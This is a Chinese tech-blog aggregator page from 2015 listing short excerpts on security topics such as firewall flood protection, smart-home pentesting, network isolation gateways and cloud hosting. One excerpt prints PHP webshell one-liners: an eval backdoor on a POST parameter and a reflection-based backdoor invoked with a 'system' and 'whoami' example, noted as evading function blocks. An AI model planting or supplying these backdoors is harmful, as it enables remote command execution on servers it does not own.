对于有些远程办公地点的多台客户端来说，在同时访问邮件系统的时候，出口IP是同一个，这时通过TMG会话日志可以看出TMG认为这个IP的流量过高，所以阻止了部分连接，导致问题。背后原理是：由于TMG有淹没防护功能，该功能会防止来自单个源IP用户发起大量连接请求造成攻击。从而就..
分类：
其他好文 时间：
2015-09-03 21:52:12
阅读次数：
194
前几天无意间看了360一个大牛级别的一个公开课视频。视频提到智能家居的一些渗透的思路，看完之后感觉现在的厂商根本没有把安全放到产品设计的重要位置，都是让用户觉得很安全，其实漏洞百出。事后以我目前的眼光与接触到的一些安全项目来说，以后的安全方向总结出一下几点：0x1 智能产品的安全防护随着人们生活水平...
分类：
其他好文 时间：
2015-09-02 20:38:30
阅读次数：
197
什么是网闸？网闸是位于两个不同安全级别的网络之间，通过链路阻断、协议转换的手段，以信息摆渡的方式实现高效安全的数据交换是目前防护级别最高的一种技术手段政府涉密网络、军工、电力等行业中含有大量的敏感信息及涉密数据（可能定级为涉密网或含有敏感数据的非涉密网），这些涉密数据是绝对不能流入比它密级低的网络中...
分类：
其他好文 时间：
2015-08-31 21:16:55
阅读次数：
3430
解决方案：一、高安全性U-Mail邮件系统能提供军事级别的安全防护性能，具体表现在几方面：1.杜绝垃圾邮件和病毒：U-Mail内嵌卡巴斯基杀毒引擎（实时更新，免费升级），综合运 用“热点”专利技术、黑\白名单、ayesian启发式、“爆发保护”、贝耶斯算法、第四代基于行为识别的反垃圾引擎、灰名单、S...
分类：
其他好文 时间：
2015-08-27 18:05:15
阅读次数：
198
阿里云的数据存储<http://www.aliyun.com/product/rds/> RDS — 关系型数据库服务（Relational Database Service，简称RDS）是一种即开即用、稳定可靠、可弹性伸缩的在线数据库服务。具有多重安全防护措施和完善的...
分类：
其他好文 时间：
2015-08-26 18:04:24
阅读次数：
970
一句话and大马phpspy菜刀一句话<?php@eval($_POST[‘cmd‘]);?>反射后门<?php$func=newReflectionFunction($_GET[m]);echo$func->invokeArgs(array($_GET[c]));?>调用如x.php?m=system&c=whoami后门也可绕过某些检测禁用system函数的防护系统php:inputphp://i..
分类：
Web程序 时间：
2015-08-25 14:26:40
阅读次数：
241
在云主机蓬勃发展的今天，云主机的优点已是众所周知，但是包括多租户、更佳的服务器利用率和数据中心整合的同时，如何应对云主机特有的安全威胁越来越受重视。最近，天下数据特也推出了天下云—香港云主机的活动，具体活动内容小伙伴们可以自己登录天下数据官方网站查询。小天下面也就增强云主机安全性的方法给大家几点建议。
1.基础安全
首先集群成分布式部署在多个数据中心，对数据中心的资产设备、物资、耗材都有严格的...
分类：
其他好文 时间：
2015-08-17 15:33:29
阅读次数：
139
2015年的电赛已经结束了。赛前接到器件清单的时候，看到带防护圈的多旋翼飞行器赫然在列，又给了一个瑞萨RL78/G13的MCU，于是自然联想到13年的电赛，觉得多半是拿RL78/G13做四旋翼的主控，虽然事后证实我的猜测是错的，但是在赛前我还是完成了相关代码的准备，这其中就包括了MPU6050的DM...
分类：
其他好文 时间：
2015-08-17 00:43:51
阅读次数：
371
今天测试发现，进程大师(Jnc Process master)可以从应用层隐藏进程，还不错，不过由于win8防护能力比较强，只能隐藏个别进程，
到现在为止还没有发现win8内核级隐藏进程的。大家如有发现可以相互交流一下...
环境加密与透明加密的优劣数据保密产品发展至今已有差不多有大10个年头，还是处于群雄争霸的地步，也未出现在行业内具有垄断地位的企业。大致上来说，数据防泄密产品分为两类：文档加密类产品（又称透明加密类）和整体防护类（或者称为环境加密）产品。两类产品设计理念和功能..
分类：
其他好文 时间：
2015-08-12 19:54:19
阅读次数：
138
